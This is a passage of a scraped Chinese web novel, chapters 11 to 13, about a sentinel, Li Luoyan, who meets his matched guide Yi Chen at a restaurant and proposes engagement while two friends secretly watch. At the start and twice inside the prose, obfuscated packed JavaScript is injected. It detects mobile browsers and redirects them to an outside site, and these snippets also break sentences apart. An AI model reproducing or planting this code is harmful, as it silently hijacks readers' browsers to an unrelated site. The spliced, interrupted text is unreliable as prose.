l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504797|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其间不允许任何外出行为,一年后非必要情况(如上课)不可外出,十四岁以后可解除禁制。 * 奚元忽然想起来,他第一次见到黎珞言戴上那颗耳钉就是在他十一岁那年。 那天他被黎珞言咬伤之后去医疗舱躺了半天,看着小臂上只剩下一个浅淡得几乎看不见的牙印,咬得牙酸。那时他听说了黎珞言被关禁闭的事。 第二天没告诉任何人,他一个人偷偷跑去了黎珞言房间的楼下,拿东西砸窗户引起了黎珞言的注意,然后在楼下朝他挥手。 隔了几层楼,他无法清晰看见黎珞言的眼神,但他能看见黎珞言把窗户打开之后,没犹豫就探出个头,下一秒就做出要往下面跳的动作。 奚元被吓得整个人都慌了,一瞬间眼睛都瞪大了,大声喊:“别跳啊!” 还好下一秒黎珞言就一个后仰摔进房间里面了。 奚元提着的心才掉下去,还没完全掉下去就又提了起来,窗户口探出执政官的脸,表情又冷又凶,活像是他的债主。 奚元一瞬间就不敢说话了。 第二天再去的时候,窗户就被窗帘挡住了,奚元看不见里面的场景。 他不是个轻言放弃的人,没多犹豫,把袖子撸起来就往上面爬。好不容易爬到黎珞言的房间窗户旁边,他先是用一只手死死扒住窗沿,确保自己站稳了,便伸出一只手去推窗户的那道玻璃,然而没有任何反应。 艹,封死了! 奚元暗骂了一声,想了想,又故技重施,开始敲窗。 里面的人似乎是听见了,传来一点不太明显的响动。然后窗帘从里面被使劲扯了下,没扯动。 奚元意识到窗帘也被固定死了,没忍住又想骂了。 但下一秒窗帘边缘被扯开一个小口,黎珞言歪着头艰难蹭了进来。 他探着头左顾右看,好奇地寻找着声音的源头,最终在边边角角看见一个弯着腰站立着的活人。 这一幕其实有点像是在拍危险系数极高的动作大片。高高的墙壁上挂着一个十岁的小孩,任何看见的人都会被猛地吓一跳。 但奚元的的确确站得很稳。他看见黎珞言眼睛骤然间亮起来的那一刻,也不由自主跟着笑起来,手握成拳轻轻摩挲了下,然后背过手藏起来了爬墙时手心不小心蹭出来的细小伤口。 ……来得还挺值的。 他一头红发十分惹眼,很亮的颜色。 此时此刻,黎珞言望着他,瞳孔里只装下了他一个人,碧绿的眸子倒映着火一样的艳色。 黎珞言朝着他笑起来,脸上还带着婴儿肥,笑起来显得很幼。但很快他似乎想起了什么,脸上的笑容消失了,嘴角下撇,眼睛直勾勾望着人,嘴唇动了动,声音有点小。 隔着层玻璃奚元不太能听清楚。 奚元拿出终端朝他挥了挥,示意让他用终端发给他。 黎珞言乖巧地点点头,跑回去拿了终端,然后又艰难地把脑袋从窗帘被封死的间隙中挤进来,这次还挤进来了一只手。 奚元看着他垂着眸说了好长一段话,等他说完后,自己的终端响了一声,他打开,播放黎珞言发给他的语音。 【对不起……当时咬了你,肯定很疼……等一年之后我能出来了,换你咬回来吧,我一定站着不动让你报仇。】 说话的声音特别正经严肃,还夹杂着点十分明显的愧疚难过。 奚元轻笑了声,调整了下站立的姿势,稍微让自己舒服了一点。眼睛看着黎珞言,却是在对着终端说话:“哟,这么大方。你不嫌疼?” 黎珞言抿了抿唇,认真地说:【怕疼。但是我咬了你,应该向你道歉。如果咬回我不能让你消气的话,你也可以提出其他的要求,我一定一定答应你。】 他连说两个“一定”,语气特别认真。 奚元听完就笑了:“我生着气会爬上来找你?还是说我看上去是那种以德报怨的人?……真没生气,非要提起那天的事的话,我还真有想说的。” 黎珞言竖起耳朵,等着奚元给他发下一条消息。 点开后,他听见他说:“我突然觉得,狮子耳朵还挺好看的。等你出来之后,我们一起去动物园看看狮子吧。” 黎珞言眨眨眼睛,目光从终端上移开,转而看向奚元,然后慢吞吞地弯起眸,眼尾弯弯:【好。】 …… 在那段爬墙去找黎珞言的时间里,奚元敢保证他从来没有见过那枚耳钉。 所以,他第一次见到那枚耳钉毫无疑问是在黎珞言可以离开房子外出上课了的那时候,也就是他十一岁那年。 想到这里,奚元闭了闭眼,眉心紧皱。深夜里,月光透过窗户洒了点光进来,将哨兵紧皱的眉宇照亮,烦躁的情绪在光照下几乎具象化了。 他早该想到的,那枚耳钉有问题! 奚元在床上坐着,他侧过头看向对床熟睡的黎珞言,沉默片刻后转回头,打开了终端。 他眉眼沉沉看着他的和尹惟的聊天框,屏幕的白光照亮了一部分脸。 悬空的手指始终没有落下,最后他什么信息也没有发过去,关于那枚耳钉的疑问被咽回了心底。他闭上眼睛,摁灭了屏幕。 11.第 11 章 周末一大早,黎珞言起了床。 这个周末只有他一个人在宿舍,奚元回家里了。黎珞言被闹钟吵醒,闭着眼睛坐起身,在床上摸来摸去,摸到昨晚睡前准备好的衣服后一把扯过来。 然后可能是又累了,他趴在衣服上闭上眼睛轻寐了一小会儿,定的第二个闹钟响起后他猛地睁开眼睛,游离几秒后爬了起来。 换好衣服后,黎珞言看了眼时间,才堪堪十二点,离约好的一点还差一个小时。他不想叠被子,把被子往角落推了推,一切准备就绪后就出门了。 黎珞言之前是考过飞行器的驾驶证的,但一直以来都没有驾驶过,没什么经验。 他看了眼他和匹配对象约定好的餐厅,规划了下路线,认真思考,最后决定还是开飞行器过去好了。 这样估计还能早一点到,给匹配对象留下一个好印象。黎珞言愉快地做出决定。 * 餐厅里有些吵闹,说话声交谈声此起彼伏,有种很亲切的烟火气,但餐厅环境又很舒服亮堂,厅内陈设一看就是花了大价钱建成的。 服务生注意到只有一个人的那一桌,已经快半小时了,依然没有第二个人到场。他走上前去微笑问道:“客人您好,请问您的朋友还没到吗?” 他手里拿着菜单,意思很明显是在无声地提醒对方点菜。 易谌垂眸点开终端,一点二十二分。 他给黎珞言发去一条消息后熄了屏,淡声说:“应该快到了,我先点菜吧。” 易谌接过菜单后看着上面的价钱沉默片刻,神情淡定地点了一份最便宜的凉拌豆芽,完全没有表现出任何窘迫尴尬,勾选之后淡然地将其重新递给服务员。 嗓音无波无澜:“剩下的等另一个来了之后再点可以吗?” 服务生看着上面唯一打勾了的一个菜,眼角抽了抽,保持礼貌道:“……可以的,客人。” 餐桌上立了个玻璃小瓶子,里面插了枝花,易谌不认得花的品种,但以他的审美来看,还挺好看的。 他盯着看了几秒后移开了视线,餐厅门口刚好新进来了一个人,他发现来的不是黎珞言之后就不再看向那边了。 ——迟到了接近半个小时。 易谌非常讨厌不守时的人。这不是他第一次遇见不守时的人,换做平常的话,他到点就会毫不犹豫地直接离开。 但这一次,他却稳稳坐在位置上,从背包里拿出一本书、一支笔,安静地开始对课上知识进行巩固复习了。 这家餐厅占座需要付一笔定金,他先到的餐厅,所以这笔定金是由他付的。 如果现在走了,定金也不会退。那他就完完全全白跑这一趟了。 算了,再等等。 过了会儿,凉拌豆芽也端上来了,服务生留下一句“请慢用”,就离开了。 这家餐厅里最便宜的凉拌豆芽也要三十星币。小小一盘被端上来放在桌上,看起来色香味俱全,倒是比其他餐厅的要更吸引人一些。 但也只是一盘豆芽而已,更何况也就矿泉水瓶底那么大的盘子,看上去像是其他餐厅里会送的小料配菜,挑几筷子就吃完了。 易谌拧了下眉,没吃,继续在看书。 不知道过了多久,突然不远处响起一声:“你好你好……” 听见有几分熟悉的声音,易谌抬起头,目光穿过人群,正好刚进餐厅的说话那人也同时侧过头来,一时间视线相撞。 有着一双灵动的绿色眼睛的小动物睁大了眼睛看了他几秒,易谌被看得眼睫一颤,眼皮轻盖住眸子,不太自然地撇开了视线。 黎珞言又转回头,看向柜台的人说道:“我有预定了,034号桌。” 这是匹配对象给他发的桌号。 一位服务生领着他朝034号桌走去,黎珞言越来越向易谌走近,他明显有些惊讶,直到坐在易谌对面的椅子上后,他仍然保持着微微睁大眼睛的神情,有点没想到匹配对象居然就是之前遇见的向导。 专注望着人的眼睛很亮,身上灰扑扑的,有点狼狈,又有点惨兮兮的错觉。 易谌又抬起眸看他。 黎珞言今天穿的其实很简单,显出一种简约的好看。上身穿了件纯白色短袖,再配上一条浅蓝牛仔长裤,腰间勒着条深咖色皮带,又挂了条闪亮亮的银色链子做装饰,走路时不经意碰撞,发出很轻巧的叮铃响声。 但仔细看过去才会发现他整个人像是被扑了层薄薄的灰,衣服和裤子都像是经历过了剧烈摩擦,留下了擦破的痕迹。跟一只垂头丧气的小狮子似的,蓬松的毛发都蔫巴了。 易谌垂下眸,说:“你迟到了四十三分钟。” “对不起!” 两人的声音同时响起,又近乎同时敛声。易谌顿了下,看向黎珞言。 安静的氛围下,黎珞言抿着唇,再次重复:“对不起。” 他抬眼看了易谌一下,意识到易谌一直在看着他之后,就跟小动物鬼鬼祟祟偷看之后被发现了似的,迅速又低眸。慢吞吞地承认错误:“我本来计划好能够提前到的,但是……路上出了点意外。” 易谌颔首,耐心等着他说是发生了什么意外。 黎珞言余光瞟到了桌上的一小盘豆芽,喉结禁不住滚动了一下。他从早上到现在一点东西都没吃,说实话,他现在有一点点饿了。 他抿了下唇,还是忍不住了,两只眼睛直勾勾地望向易谌,真诚问道:“我可以先吃一点吗?” 这种仿佛相亲的一次见面中,对于完全不算熟悉的两人来说,其实是有种略微的尴尬萦绕在饭桌上的。但是有了好吃鬼的加入就不一样了。 本来一说一答的氛围被这句话打断,很突兀的一句话,但因为黎珞言的表情实在太诚恳了,易谌真的不知道该回什么。 他按了按额角,点了头。 黎珞言看着那小盘豆芽,斟酌着挑了一小筷子,然后大方招呼道:“你也吃啊。” 易谌耐不住他的诚挚邀请,夹了一筷子吃进嘴里。说实话,除了看着好看之外,味道就和普通豆芽差不多,至少易谌没吃出什么差别。 但他看着对面的黎珞言吃得眼睛弯弯的模样,莫名又觉得嘴里的豆芽香了起来。 吃饭也能吃得这么幸福吗? 他并不是个重食欲的人,却不禁也被挑起了一点点对食物的欲望。 两筷子过后,这盘菜几乎就没有了。 黎珞言还是很饿,他舔了舔嘴巴,在和易谌说了一声过后,叫来服务生,在菜单上大点特点,点完之后把菜单递给易谌,弯眼道:“你看看有没有要加的。” 易谌看着上面满满当当的勾,停顿片刻,真心问道:“你能吃完吗?” 黎珞言眨着眼睛,十分认真点点头,一板一眼回道:“可以的,因为我在长身体。” 易谌认真扫了他几眼,从上到下,黎珞言就大大方方地任他看。最后易谌收回视线,把菜单递还给了服务生。 ……可能是吧。吃这么多,看着还挺瘦的。没有横着长只能说明是在竖着长了。 年轻的黑发哨兵仅穿着件短袖,手臂稍微用力的时候就会绷紧,显出青涩流畅的肌肉线条,身高腿长,比例优越。 易谌倒是相信他那句长身体的话了。 等热菜上来之前,黎珞言重新想起了正事,恢复到一本正经的神色,专注看着易谌,继续解释道:“我是开飞行器来的,拿了驾照之后我从来没开过,所以我一路上驾驶得真的、特别小心,而且严格按照导航要求的路线行驶。本来是没有任何问题的。” 他说话很慢,就像给小孩讲故事哄睡觉的那种语气,惹得易谌都忍不住接了一句:“然后呢?” “然后,”黎珞言加重了语气,眉头微微皱起,手肘撑在桌上俯身凑近了一点,特别严肃地说,“我正时刻注意四周的动静的时候,旁边有辆飞行器‘嗖’的一下就撞过来了,我技术不好没躲开,就撞上了。” 他缓慢地舒出口气,总结道,“我估计他也是个新手,而且技术比我还差。” “哦,‘嗖’的一下就撞过来了,”被他格外生动的拟声词吸引住了,易谌忍不住弯了下嘴角,过了几秒才从他轻飘飘的话语重突然反应过来整件事情,嘴角又压平了,有些不可思议地问,“你出车祸了啊。” 黎珞言扯扯自己的衣服,皱了皱鼻子点头,然后把衣服撩起来给他看短袖下摆擦出来的一点擦破的痕迹。 “哦,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515963|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没受伤,我虽然不太熟悉飞行器的操作装置,但好在我反应比较快,飞行器没躲开但我及时跳下去了。就是摔到地上的时候衣服裤子擦破了点,不碍事的。” 临时从飞行器上跳下去这种听起来就危险系数极高的事情,被他说得就像走个路一样轻松,一点也没觉得是个很大的事。 他上身就穿了一件短袖,撩起来之后腹部肌肉都露了出来,但他本人全然没意识到这点。 易谌的视线在他擦破的衣服下摆扫了一眼,又不经意间往下瞥了眼,眉梢轻轻挑起。 其实有一小部分皮肤有点泛红,估计也稍微擦伤了。……嗯,很漂亮的肌肉线条。 他还没多看几眼,对方就松了手,宽松的下衣摆重新落了下去,盖住了身体。 这样跳下去,应该是在地上滚过几圈才会把衣服弄得灰扑扑一层,虽然对方显然是以及尽全力试图把灰尘扑掉了。 况且,按照一些常识来说,膝盖应该会受伤。 易谌想看看他的腿有没有事,但他们是面对面坐着的,以他的角度完全看不见黎珞言的腿。但他又不能直接问“看看你的腿”,毕竟这勉强也只能称得上是第二次见面,莫名这样问难免会让人觉得他很奇怪。 黎珞言不知道他在想什么,自己嘀嘀咕咕说了一堆之后,又突然想起来惊讶一下:“原来你就是我的匹配对象啊。” 易谌轻轻“嗯”了一声,还在想黎珞言从飞行器上跳下来真的没事吗?难道哨兵的身体真是铁打的? 热菜端上来了,还有两杯果汁。 黎珞言捧着果汁咬住吸管,喝了好几口后,他见易谌还在盯着他看,不知道在想什么,以为他是在犹豫要不要喝。 于是极其主动地拿起另外一杯,将吸管凑到了易谌嘴边。 易谌还在思考哨兵的身体是不是铁打的这个问题,嘴唇边突然碰着了一个软管 他眼睫猛地一颤,回了神,眼眸一转就对上一双弯着的、专注看着他的漂亮绿眸。 小动物似的黑发哨兵还在努力给他推荐:“你试试,很好喝的。这家的果汁非常好喝。” 易谌鬼使神差地张开嘴,咬住了吸管的一点,吸进去了一口。 红橙渐变的果汁,上面插着两片摆好造型的柠檬片,冰块漂浮在水面,经过喉咙时凉爽沁甜。 面前的哨兵满怀期待地望着他,两只眼睛都毫不掩饰地写着“怎么样怎么样?”如果身后有尾巴的话,一定会摇得很快。 易谌喉结滚动了一下,接过杯子又喝了几口,才止住了忽然而来的那股渴意,语调平淡:“嗯,还不错。” 黎珞言见他爱不释手地喝了好几口,也心满意足了,一边认真吃饭,一边喝果汁。 他吃饭的时候十分认真,一般情况下,不会边吃边说话。 易谌也慢悠悠地吃饭。 黎珞言正给自己剥虾吃,他吃下一个之后,顺手又往易谌盘里放了一个,见易谌看他,他就朝着对方弯了下眸。 从这一次见面一开始,易谌就感觉黎珞言和他们第一次见面时不太一样,他有点太热情了,而且说了很多话。 但其实第一次在污染区营地的那次见面时,他觉得对方其实并不是个爱说话的人,反而很喜欢发呆,胡思乱想、发散性地想很多东西。 现在又是给他喂果汁,又是剥虾…… 易谌把虾重新夹回了黎珞言的盘子里,看着黎珞言一瞬间似乎有些愣住的神情,他戴上手套开始剥虾:“你不用管我的。你是因为迟到了所以想要弥补吗?” 黎珞言抿了抿唇,从喉咙里憋出一个闷闷的“嗯”字,又蔫巴起来了,小声道:“对不起。” “张嘴。” 黎珞言听见后下意识张开了嘴,嘴里被塞进一个虾仁,他咬着虾,有点茫然地眨了眨眼。 易谌垂下眸,喂他虾仁时注意着没有碰到他的嘴。收回手之前,他感觉到不远处有一道格外灼热的视线,循着看过去时那道视线却又消失了。 他看着那道视线的方向,是一个戴着鸭舌帽的人,那桌上也是两个人,他确定他不认识。 易谌脱下一次性手套放在了旁边,说道:“那边有人在看你,是你的朋友吗?” 12.第 12 章 “梨子怎么在喂他喝果汁?他们才第一次见面吧,我觉得这样不太好。” “梨子在剥虾了,如果我在场,我肯定会主动给他剥的……我知道他喜欢吃虾。” “啊??梨子剥的虾居然放在他盘里了?!什么意思什么意思?我真的忍不了了!” 奚元把牙咬得咯吱响,把帽檐往下面使劲一压,转回身来不再往那边看。 尹惟嘴里咬着根勺子,一直在专注着自己的事,面前摆着台电脑在打字,眉头拧得极深。她看着电脑显示的聊天框,对面发给她的一句冷冰冰的话:【你的实习申请我是不会通过的。】 她咬着勺子,手里握着勺子柄,整个人气得要把勺子掰断了。她把勺子随手扔在了杯子里,脸上表情特别糟,这时候像是只要扔一个火药桶过去她就能瞬间爆炸。 奚元的表情也特别难看,拿筷子戳肉的表情像是想要杀了肉。 他舌尖抵住牙,试图转移自己的注意力:“你申请怎么样了?” “没过。”尹惟咬牙切齿地说,憋出一个可怕的笑,“他说他不接受一年级新生进议会实习,但如果我哥亲自去跟他说的话,他倒可以酌情考虑。” “呵,我需要他酌情考虑?不接收一年级新生他不早和我说,让我写了一万字申请之后又开始说这些车轱辘话,不就是比我多活了几十年吗?说真的,我真看不上他们这群人!他们议会一群老东西开始和军团打交道,拉帮结派站队之后,完全就烂掉了。” “看不上你还非得去他们那儿?”奚元挑了下眉,往后仰倒在椅子靠背上,有点兴致缺缺。 “就是看不上他们我才去!我去扫黑除恶,让他们统统滚蛋。” 尹惟喝了口水平复心情,她的视线落在了黎珞言那桌上,表情突然显出几分微妙:“哦——” 奚元被她莫名其妙的一声引发好奇,也跟着扭头看过去,一瞬间瞪大了眼睛。 不远处的那桌上,黑发哨兵嘴里咬着虾仁,对面的人靠近了喂他,两人对视着,这是一个十分亲昵的动作,看起来像是情侣约会。 在易谌看过来前,尹惟迅速扯了把眼睛瞪了的直的奚元,让他坐正了,避免被发现。 黎珞言在和匹配对象约定见面地点前问过奚元有没有推荐的饭馆,这件事情尹惟是知道的。 但她明确知道黎珞言当时问的是有没有平价好吃的饭馆,没想到奚元居然说了这家。 这家在他们常去的餐厅里确实算是比较便宜的,但绝对算不上平价。 今天一早奚元硬拉着她来偷窥、还美其名曰是暗中观察的时候,她是真没想到来的是这里,她还以为会是路边的小餐馆什么的。 两个人都戴了顶帽子,把显眼的发色给遮住了,坐姿轻松,表现得极为正常,除了奚元随时转过头去往那边瞥上几眼显得鬼鬼祟祟之外,就没有任何异常了,一点也不像来偷窥的人。 尹惟喝了口水,然后说:“梨子本来考虑得挺周全的,想找一个平价点的地方。你倒好,一点没为他排忧解难。” “哦,你是说那个人连饭钱都付不起啊。”奚元锐利眉眼阴沉,被帽子压住的红发削减了几分肆意张扬,哂笑一声,“他一个下城区上来的人,也该有一点自知之明吧,总不可能一直让梨子陪他吃糠咽菜吧……难道这样他就满意了?” 一想到两个人在一起之后的场景,奚元的脸色越来越糟。 尹惟见他已经完全沉浸在自己的想象中了,抬了抬帽檐开始吃饭。在吃饭的空隙中不忘回他一句:“行了,你话里的酸味都快溢出来了。菜都凉了,快吃吧,光听着你在那里说些有的没的了。” “也不知道你非得拉着我悄悄跟过来干嘛。你又不是不知道,梨子因为之前那件事,特别讨厌别人跟踪他。还是说你被嫉妒心冲昏头脑了?……麻烦你不要一上头就犯蠢好吗?” 尹惟说完就又继续夹菜吃。 “你不要用‘跟踪’这个词好不好,我没有跟着梨子,而是一直在这里等着好不好,”奚元气得快站起来了,“而且我一上头就犯蠢?!那你当初因为梨子被关禁闭那个事,把那个人拖到巷子里狠狠揍了一顿,不还得亏我给你打了掩护。到底是你容易上头还是我?” 尹惟啧了一下,也不耐烦了:“那你怎么不想想,揍一顿能解决问题吗?那我后面找我爸妈写了申请交上去才让那人正儿八经受了罚好不好!” 奚元和她掰扯:“那我给你打掩护,还被我爸抓回去臭骂了一顿。难道我就一点付出没有吗?” 尹惟扬了下眉,一字一句回道:“你被痛骂一顿还不是因为你准备不够……” “你们,是在吵架吗?”再熟悉不过的声音。 两人突然都噤声了,一同扭头看向黎珞言,不知道刚刚压低声音吵架的内容有没有被听见。 一时间气氛莫名尴尬起来。 黎珞言看看尹惟,又看看奚元,有点不明白他们两人为什么会出现在这里。 尹惟不着痕迹地观察黎珞言的表情,见他脸上只有对他们出现在这里的困惑,应该是没听见他们的对话,不禁松了口气。 她反应极快,率先出声,做出一副很惊讶的模样,又往黎珞言后面看了眼,似乎是才注意那一桌坐着的易谌,笑道:“原来我们坐的这么近啊。早知道我就过来和你们打个招呼了。” 黎珞言听进去了:“现在也可以打个招呼。” 尹惟不太想去,但看着他的眼睛一时又说不出拒绝的话,于是支支吾吾起来:“现在啊……” “你衣服怎么了?”奚元突然说。 黎珞言低下头看了看自己短袖、裤子和地面摩擦之后擦破的地方,“唔”了一声,语气轻松地说:“就是摔了一下,没什么问题的。” “怎么摔的?平地摔会摔这么严重吗?” 奚元眉头紧皱,摆弄了下黎珞言的手,又用手背轻轻碰了碰他膝盖磕破的那点牛仔裤布料,这样看着身上没受伤,但他还是不太放心地说,“要不去医院看看吧,或者去医疗舱躺躺也行。” “啊?”黎珞言微微睁大眼睛之后,又忍不住弯起眸子,“至于吗?” 脸上还漾着未尽的笑,他回头看了一眼,见易谌低着头、手里拿着一个本子看起来很是认真,大概是在复习,毕竟白塔的课业是真的很重,他以前就听温暻哥说起过。 黎珞言转回头,头微低着,没有和他们对视,有些不自然地轻轻摸着后颈,耳朵有点泛红:“你们要不要和……他,打个招呼?” 他抿了抿唇,接着说:“就是,我的匹配对象。再过段时间,可能就是未婚夫了。” “未婚夫?这么快?”他话音刚落,奚元就立马连说两个问句。 黎珞言不知道他反应为什么这么大,犹豫地点了点头。 尹惟说:“你们才见……” 奚元语气很急:“你们才见第一面就要订婚了吗?不再相处一段时间试试吗?我跟你说,这种才见第一面就要和你订婚的人非常不可信!” 尹惟闭了闭眼,按着额角,这都是、这都是她要说的词啊! “但是,是我要和他订婚啊……原来第一次见面我就这么说会给人留下不好的印象啊,”黎珞言虚心请教,认真询问,“那我需不需要提前说点什么铺垫一下?我现在还没和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525918|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说这件事。” 他刚刚光顾着吃饭了,完全忘了提订婚的事了。 奚元随手把帽子摘了,抓了抓头发,额角浸出了点汗,闷声道:“反正我不同意。” 黎珞言见从奚元这里获得不了建设性意见了,转而看向尹惟。 尹惟思考之后,回道:“你可以先问问他白塔的生活怎么样,平时忙不忙累不累,再问问他有没有喜欢的人拉下家常,感觉差不多了就可以试探性地问问能不能订婚了。” 她每说一句,黎珞言就认真地点一下头,俨然是一副要一字不差记住的模样。 说完之后,尹惟忍不住加上一句:“你真的决定和他订婚吗?我也觉得第一次见面就做出决定太草率了。如果他答应了,我真的会觉得他另有所图。” 黎珞言垂下眸:“可我也是因为我和他的匹配度才提出订婚的,也算是有所图吧,所以就算他也另有想法的话,我觉得那很正常。” “那好吧,”尹惟笑了笑,站起了身,顺便把奚元也拽起来了,“我们刚好吃饱了,看来只能下次有机会再和他打招呼啦。拜了。” 黎珞言反应慢半拍地点点头,旋即弯起眸,和他们挥了挥手。回桌之前,他顺手拿了他们桌上两个草莓。 回去之后,他把一个草莓递给了易谌,自己咬住一个。 易谌放下了笔记本,看着对面从回来之后就低着头不知道在想什么的人。 黑发哨兵小口小口咬着草莓,眉间微蹙着,像是在发呆,片刻后,似乎是下定了什么决心,瞬间就抬起头来了,问他:“你觉得白塔的生活怎么样?” 易谌:“……还行吧。” 黎珞言忍不住伸出了一小点舌尖,润了润唇,一本正经接着问:“那你平时忙不忙累不累?” 易谌:“……都还好吧。” 到底要做什么啊? 黎珞言眨了眨眼睛:“你有没有喜欢的人啊?” 易谌愣了愣,然后忍不住弯了下嘴角,连他自己都没意识到地露出了一个笑。原本冷淡沉郁的气质被这个笑骤然冲淡了,反而罕见地显出几分柔和。 他好整以暇问道:“你希望我有吗?” 黎珞言支起一只手,下巴搭在手背上,一双眼睛直勾勾望着他,理所当然地说:“我当然希望你没有了。” 易谌也看着他:“唔,为什么呢?” 黎珞言的眼睛太亮太澄澈了,易谌顺手拿起手边的果汁,眼睫垂下,遮住了黑眸中的情绪。 黎珞言思考了好一会儿,易谌就这样喝了好一会儿果汁逃避对视,等着他思考完。 “你愿意和我订婚吗?” “咳!咳咳!” 易谌被这突然的一句话呛到了,咳得整个人都红了。 等他咳完缓过来之后,脸还是红的,黎珞言观察了他一会儿,难以从他的表情中观察出他是同意居多还是拒绝居多,于是不太确定地凑近问道:“你没事吧。” 他语速慢慢的,简直像是反应迟钝的树懒熊,接着说:“啊……我是不是问得太突然了?那我现在还能收回来吗?要不你就当没听见,我过一会儿再问一遍。” 对的对的,尹惟说的是先拉拉家常再问,他可能是问得太着急了,等会儿重新问一下应该就可以了。 易谌努力恢复到一副沉稳的模样,故作淡定地拿起旁边的果汁,吸起一口,吸了个空。 他垂眸一看,才发现果汁已经被他喝完了:“……” 在低着头的时间内,他眼睛使劲眨了几下,抬眼时又表现出一如既往的淡然,仿佛没有被震惊到,声线十分平稳:“你刚才说,订婚?” 13.第 13 章 黎珞言咬着吸管,眼皮轻轻耷拉着,盯着易谌空了的杯子放空。听见易谌的话后才像被拉回了神一样,双手捧着杯身,下巴靠在杯子边上:“我……” 他刚说了一个字就禁不住打了个哈欠,压住快要溢出眸中的困意,努力维持着有精神的模样,望着易谌认真地点了点头:“我是认真的。” 易谌抓住果汁杯的手指微蜷了下,无意识地,他又开始喝那杯空果汁了。 ……这么渴吗? 黎珞言小幅度地歪了下头,注意到旁边放着的那一大壶柠檬水,于是倒了一小杯,轻轻推到易谌面前。 易谌一抬头,就撞进一双湖泊般的碧绿眸子,垂下眸就是一杯倒好了的柠檬水。 顿了一下,他看着面前的黑发哨兵,开口道:“谢谢。” 黎珞言忽然间也被这种拘束客气的气氛搞得有点不自然起来,下意识地摸了摸耳朵,指腹轻轻滑过微凸的耳钉,感受到冰凉坚硬的触感,他的情绪又重新静下来。 他弯眼道:“不客气。” “抱歉,我想问一句可能有点冒昧的话,”易谌将那杯柠檬水一饮而尽,仰头时喉结滚动,再看向黎珞言时眸光恢复了平静,问道,“你很着急订婚吗?如果算上不正式的那次,我们也才见过两次面。” 黎珞言咬住果汁吸管,眉间微蹙,似乎是在认真思考,又像是在组织语言。半晌他猛猛吸了一口,把最后一口果汁吸进口中,松嘴时才让人发现吸管被他咬得烂糟糟的。 严格来说,这是一个四人桌。黎珞言起身换了位置,这次在易谌身边坐下了,侧过头眼睛一眨不眨盯着易谌,说话时唇间露出一点尖尖的小白牙。 神情严肃非常,完全是一副说正事的语气:“你之前给我做过精神疏导,应该也发现了我的精神图景很糟糕吧。所以我需要定期接受向导的疏导才能够维持精神图景的稳定。” 易谌视线微垂,眼皮盖住了上半部分眼珠,黑得几乎透不进光的眸子盯着说话的人,不经意间轻轻扫过对方一张一合的唇,又偷感十足地快速挪开视线。 听完他的话,易谌若有所思地点点头,淡然回复:“定期精神疏导……不需要订婚,我也可以给你做。” “可是……”黎珞言压低了声音,好奇道,“那不就只能做浅度的精神疏导了吗?” 眼睛亮晶晶的小动物靠得太近,易谌手搭在桌子上,不着痕迹地往后仰了仰,和他拉开了点距离,一边道:“浅度不行吗?” 黎珞言摇摇头,“我需要很多向导素。浅度疏导不够。” 向导素通常储存在向导的精神触须,以及向导的体.液当中。浅层的精神疏导仅靠精神触须就能做到。如果需要汲取到更多的向导素,一种方法是极为深入的精神入侵,另一种方法则是极为深入的身体接触。 而这种深度疏导通常只会发生在伴侣之间,特殊情况除外。 黎珞言看着易谌,认真地说:“如果可以结婚的话,我就会邀请你和我结婚了。但是我还没到联邦法定结婚年龄。” 易谌慢慢点了下头,这他倒是记得,黎珞言现在才刚刚20岁。 他垂下眸,仔细思考订婚这个想法可不可行。 还没思考上几秒,黎珞言忽然把公民身份证明都翻出来给他看了,一脸严肃正经地点了点身份证明上的年龄,一只手没注意地搭在了易谌的手腕处:“等我满25岁了,我们就去登记结婚吧。” 因这若有似无的触碰,易谌的手瞬间僵直了,浑身紧绷起来,完全没听清耳边嘀嘀咕咕的声音,低着头,视线直直注视着搭在自己手腕上的那只手。 黎珞言浑然未觉,他眨了眨眼睛,歪着脑袋凑近,试图和易谌来个眼神交流,讲话时不自觉地就拉长了尾音,“可以吗?” 易谌穿着件长袖无帽卫衣,实际上黎珞言并没有接触到他的皮肤,而是隔着一层不容忽视的衣服布料,但他的神情极其僵硬,强忍着立即缩回手的冲动,一个字一个字地往外蹦:“我、有洁癖。” “啊?——哦!” 黎珞言意识到之后立马收回了手,把手背了回去,点点头郑重表示:“我记住了。” 易谌显而易见地松了一口气,紧绷着的身体也放松下来了:“你说的我会考虑。但很抱歉,我想,我不会和我不喜欢的人结婚。” 他有非常严重的精神洁癖。如果让他和不喜欢的人进行深度交流的话……易谌冷漠地想,他可能会当场吐出来。 但是—— 但是对于黎珞言,他倒没有特别抵触,可能是因为这人实在太像活泼灵动、又有点慢吞吞的小动物了吧。 易谌看着黎珞言,不太确定地归纳总结。 黎珞言还是用一双充满期待的眼神看着他,碧绿的眸子每眨一下,就漾起一点粼粼微光:“那你会和不喜欢的人订婚吗?” 话刚说完,他又觉得不对,立马改口问:“那你喜欢我吗?” “?”易谌不得不再次提起一个其实不需要再被强调的事实,绷着脸说,“我们这才勉强算是第二次见面。” “哦——”黎珞言似懂非懂地点点头,停顿片刻,问道:“那你喜欢我吗?” 